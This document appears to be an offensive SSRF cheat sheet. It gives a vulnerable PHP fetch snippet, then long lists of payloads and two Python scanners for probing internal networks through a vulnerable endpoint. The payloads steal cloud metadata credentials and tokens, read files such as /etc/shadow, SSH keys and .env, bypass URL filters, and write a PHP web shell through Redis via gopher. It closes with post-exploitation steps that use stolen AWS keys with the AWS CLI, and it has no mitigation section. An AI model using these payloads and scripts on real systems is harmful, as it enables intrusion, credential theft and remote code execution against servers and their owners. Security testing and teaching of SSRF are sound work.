Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This can lead to unauthorized actions, access to internal systems, or data exfiltration.
How It Works
SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. For example:
<?php
$url = $_GET['url'];
$data = file_get_contents($url);
echo $data;
?>
An attacker could exploit this:
https://vulnerable-site.com/fetch?url=http://localhost/admin
https://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/
The server makes requests on behalf of the attacker, potentially accessing internal resources or cloud metadata.
Detection
Manual Testing
URL Parameter Tests
Testing parameters that accept URLs:
# Step 1: Identify URL parameters
https://site.com/fetch?url=https://example.com
https://site.com/proxy?target=https://example.com
https://site.com/image?src=https://example.com/image.jpg
https://site.com/api/webhook?callback=https://example.com/hook
# Step 2: Test with controlled server
# Setup listener on your server
python3 -m http.server 8000
# Test if server makes request
https://site.com/fetch?url=http://your-server.com:8000/test
# Step 3: Check your server logs
# If you see incoming request, SSRF exists
# Step 4: Test internal access
https://site.com/fetch?url=http://localhost/
https://site.com/fetch?url=http://127.0.0.1/
https://site.com/fetch?url=http://0.0.0.0/
Internal Network Tests
Testing access to internal resources:
# Localhost variations
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://127.1/
http://2130706433/ # Decimal IP for 127.0.0.1
# Internal IP ranges
http://192.168.0.1/
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/
# Internal ports scanning
http://127.0.0.1:22/ # SSH
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:8080/ # Common web port
http://127.0.0.1:9200/ # Elasticsearch
Cloud Metadata Tests
Testing access to cloud provider metadata:
# AWS Metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/
# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token
# Google Cloud Metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata/computeMetadata/v1/
# Digital Ocean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/user-data
# Oracle Cloud
http://169.254.169.254/opc/v1/instance/
Protocol Testing
Testing different protocols:
# File protocol
file:///etc/passwd
file:///c:/windows/win.ini
file://\/\/etc/passwd
# Dict protocol (Redis/Memcached interaction)
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats
# Gopher protocol (Raw TCP)
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:3306/
# LDAP protocol
ldap://127.0.0.1:389/
ldap://localhost:389/%0astats%0aquit
# FTP protocol
ftp://127.0.0.1/
ftp://user:pass@internal-ftp/file.txt
Port Scanning Tests
Using SSRF for internal port scanning:
# Basic port scan
http://127.0.0.1:22 # SSH
http://127.0.0.1:80 # HTTP
http://127.0.0.1:443 # HTTPS
http://127.0.0.1:3306 # MySQL
http://127.0.0.1:5432 # PostgreSQL
http://127.0.0.1:6379 # Redis
http://127.0.0.1:8080 # Alt HTTP
http://127.0.0.1:9200 # Elasticsearch
# Response time analysis
# Open ports may respond differently than closed ports
# Longer timeout might indicate filtered port
# Quick response might indicate closed port
Blind SSRF Tests
Testing when no direct response is visible:
# Time-based detection
# Try accessing slow endpoints
http://example.com/large-file.zip
# If page loads slower, SSRF might exist
# DNS-based detection
# Use services like Burp Collaborator or interact.sh
http://unique-identifier.burpcollaborator.net
http://unique-identifier.interact.sh
# Check for DNS lookups in your logs
# If DNS query appears, blind SSRF confirmed
# Out-of-band HTTP
http://unique-identifier.burpcollaborator.net/callback
# Monitor for HTTP requests
Automated Discovery
Using Burp Suite
# Step 1: Identify potential SSRF parameters
# Look for parameters containing:
# - url, uri, path, dest, destination
# - redirect, target, link, nav
# - callback, webhook, fetch
# Step 2: Use Burp Collaborator
# Replace parameter value with Collaborator URL
url=http://BURP-COLLABORATOR-SUBDOMAIN
# Step 3: Check Collaborator for interactions
# DNS queries or HTTP requests indicate SSRF
# Step 4: Use Burp Intruder for port scanning
# Set payload position: http://127.0.0.1:§8080§
# Payload: Numbers 1-65535
# Analyze response times and lengths
Using SSRFmap
# Basic SSRF exploitation
python3 ssrfmap.py -r request.txt -p url -m readfiles
# AWS metadata extraction
python3 ssrfmap.py -r request.txt -p url -m aws
# Port scanning through SSRF
python3 ssrfmap.py -r request.txt -p url -m portscan
# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis
Using Nuclei
# Run SSRF templates
nuclei -u https://target.com -t ssrf/
# Specific SSRF checks
nuclei -u https://target.com -t ssrf/ssrf-parameter.yaml
# Cloud metadata checks
nuclei -u https://target.com -t ssrf/aws-metadata.yaml
Attack Vectors
Local File Access
Reading local files through SSRF:
# Basic file reading
file:///etc/passwd
file:///etc/hosts
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline
# Windows files
file:///c:/windows/win.ini
file:///c:/windows/system32/drivers/etc/hosts
file:///c:/boot.ini
# Application files
file:///var/www/html/config.php
file:///var/www/.env
file:///home/user/.ssh/id_rsa
Cloud Metadata Exploitation
Extracting cloud credentials and configuration:
# AWS IAM Credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Follow with role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
# AWS User Data (may contain secrets)
http://169.254.169.254/latest/user-data
# AWS Instance Identity
http://169.254.169.254/latest/dynamic/instance-identity/document
# Azure Access Token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Google Cloud Service Account Token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google
# Google Cloud SSH Keys
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
Internal Network Scanning
Scanning internal networks through SSRF:
# Python script for automated scanning
import requests
target = "https://vulnerable-site.com/fetch?url="
internal_ips = [
"192.168.1.{}".format(i) for i in range(1, 255)
]
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200]
for ip in internal_ips:
for port in ports:
url = f"{target}http://{ip}:{port}/"
try:
response = requests.get(url, timeout=2)
if response.status_code != 500: # Not timeout error
print(f"[+] Found: {ip}:{port}")
except:
continue
Service Exploitation
Exploiting internal services through SSRF:
# Redis exploitation via Gopher
# Generate Redis command payload
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_SET%20shell%20"<?php%20system($_GET['cmd']);%20?>"
gopher://127.0.0.1:6379/_SAVE
# Memcached exploitation
gopher://127.0.0.1:11211/_stats
gopher://127.0.0.1:11211/_get%20admin_password
# MySQL exploitation (requires multi-line Gopher)
gopher://127.0.0.1:3306/_[MYSQL_PROTOCOL_PAYLOAD]
# SMTP exploitation (send email)
gopher://127.0.0.1:25/_HELO%20attacker
gopher://127.0.0.1:25/_MAIL%20FROM:attacker@evil.com
gopher://127.0.0.1:25/_RCPT%20TO:victim@target.com
gopher://127.0.0.1:25/_DATA
gopher://127.0.0.1:25/_Subject:%20SSRF%20Test
XXE to SSRF Chain
Combining XXE with SSRF:
# Upload XML file with external entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
<data>&xxe;</data>
</root>
# SVG file with SSRF
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<image href="http://169.254.169.254/latest/meta-data/" />
</svg>
Bypass Techniques
Blacklist Bypass
Bypassing IP blacklists:
# Localhost alternatives
http://127.0.0.1/
http://127.1/
http://0.0.0.0/
http://[::1]/
http://localhost/
http://127.00.00.01/
http://127.0.1/
http://2130706433/ # Decimal IP
http://0x7f.0x0.0x0.0x1/ # Hex IP
http://0177.0000.0000.0001/ # Octal IP
# DNS rebinding
# Point domain to allowed IP first
# Then change DNS to point to internal IP
http://attacker-domain.com/
# Using redirect
# Host open redirect on allowed domain
http://allowed.com/redirect?url=http://169.254.169.254/
# Using @
http://allowed.com@127.0.0.1/
http://allowed.com#@127.0.0.1/
# URL encoding
http://127.0.0.1/ → http://%31%32%37%2e%30%2e%30%2e%31/
http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/
Protocol Bypass
Using alternative protocols:
# When http:// is blocked
https://127.0.0.1/
ftp://127.0.0.1/
file:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_INFO
ldap://127.0.0.1:389/
tftp://127.0.0.1:69/
# Protocol case variation
HTTP://127.0.0.1/
hTTp://127.0.0.1/
HtTp://127.0.0.1/
# Missing protocol
//127.0.0.1/
//localhost/
Domain Bypass
Bypassing domain restrictions:
# Using subdomains
http://127.0.0.1.allowed-domain.com/
http://allowed-domain.com.127.0.0.1.nip.io/
# Using TLD confusion
http://127.0.0.1.com/
http://localhost.com/
# Unicode/IDN bypass
http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/
http://127.0.0.① / # Unicode digit
# DNS services
http://127.0.0.1.nip.io/
http://127.0.0.1.xip.io/
http://127.0.0.1.sslip.io/
Port Bypass
Accessing restricted ports:
# Port in username
http://127.0.0.1:80@allowed.com/
http://127.0.0.1:3306@allowed.com/
# Fragment with port
http://allowed.com#@127.0.0.1:22/
# Multiple ports (some parsers use first, some use last)
http://127.0.0.1:80:8080/
http://127.0.0.1::8080/
URL Parser Confusion
Exploiting URL parsing differences:
# Different components parsed differently
http://foo@evil.com:80@127.0.0.1/
# Some parsers see: evil.com:80
# Others see: 127.0.0.1
# Using backslash (Windows-style)
http://allowed.com\@127.0.0.1/
# Mixed separators
http://allowed.com#@127.0.0.1/
http://allowed.com?@127.0.0.1/
# Whitespace injection
http://allowed.com %0A@127.0.0.1/
http://allowed.com%09@127.0.0.1/
http://allowed.com%0D@127.0.0.1/
Open Redirect Chain
Chaining SSRF with open redirects:
# If allowed-domain.com has open redirect
http://allowed-domain.com/redirect?url=http://169.254.169.254/
# Using redirect to bypass filters
# 1. Create redirect on your server
# 2. Point SSRF to your redirect
http://your-server.com/redirect-to-metadata
# 3. Your server redirects to metadata
Location: http://169.254.169.254/latest/meta-data/
DNS Rebinding
Time-based DNS rebinding attack:
# Step 1: Setup DNS server with short TTL
# Initially resolve to allowed IP: 203.0.113.1
# After validation, change to: 127.0.0.1
# Step 2: Trigger SSRF
http://rebind.attacker.com/
# Step 3: App validates domain -> allowed
# Step 4: DNS TTL expires
# Step 5: App makes actual request -> now points to 127.0.0.1
# Tools: singularity, DNSrebinder
IPv6 Bypass
Using IPv6 addresses:
# IPv6 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[0000:0000:0000:0000:0000:0000:0000:0001]/
# IPv6 compressed
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
# Link-local addresses
http://[fe80::1]/
http://[fe80::]/
Post-Exploitation
AWS Metadata Exploitation
Complete AWS credential extraction:
# Step 1: List available roles
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: Extract role credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}
# Step 3: Use credentials with AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls
aws ec2 describe-instances
aws iam get-user
Internal Service Mapping
Mapping internal infrastructure:
# Port scanning script
import requests
import concurrent.futures
def check_port(ip, port):
url = f"https://vulnerable.com/fetch?url=http://{ip}:{port}/"
try:
r = requests.get(url, timeout=3)
if "Connection refused" not in r.text:
return f"{ip}:{port} - OPEN"
except:
pass
return None
ips = ["192.168.1.{}".format(i) for i in range(1, 255)]
ports = [21, 22, 23, 25, 80, 443, 3306, 3389, 5432, 6379, 8080, 9200]
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = []
for ip in ips:
for port in ports:
futures.append(executor.submit(check_port, ip, port))
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)
Data Exfiltration
Exfiltrating data through SSRF:
# Reading application config
file:///var/www/html/config.php
file:///var/www/.env
file:///etc/nginx/nginx.conf
# Reading AWS credentials from disk
file:///home/ubuntu/.aws/credentials
file:///root/.aws/credentials
# Proc filesystem
file:///proc/self/environ # Environment variables
file:///proc/self/cmdline # Command line
file:///proc/self/cwd/config.php # Current working directory files
Gopher Protocol Exploitation
Advanced service exploitation:
# Redis shell writing via Gopher
# URL encode the following:
gopher://127.0.0.1:6379/_
*3
$3
SET
$5
shell
$30
<?php system($_GET['cmd']); ?>
*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html
*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php
*1
$4
SAVE
# URL encoded version goes in SSRF parameter
Common Tools
Tool | Description | Primary Use Case |
---|---|---|
SSRFmap | SSRF exploitation tool | Automated SSRF exploitation |
Gopherus | Gopher payload generator | Service exploitation via SSRF |
Burp Collaborator | Out-of-band testing | Blind SSRF detection |
interact.sh | DNS/HTTP logger | Blind SSRF verification |
Nuclei | Vulnerability scanner | SSRF detection |
SSRFire | SSRF exploitation framework | Advanced SSRF testing |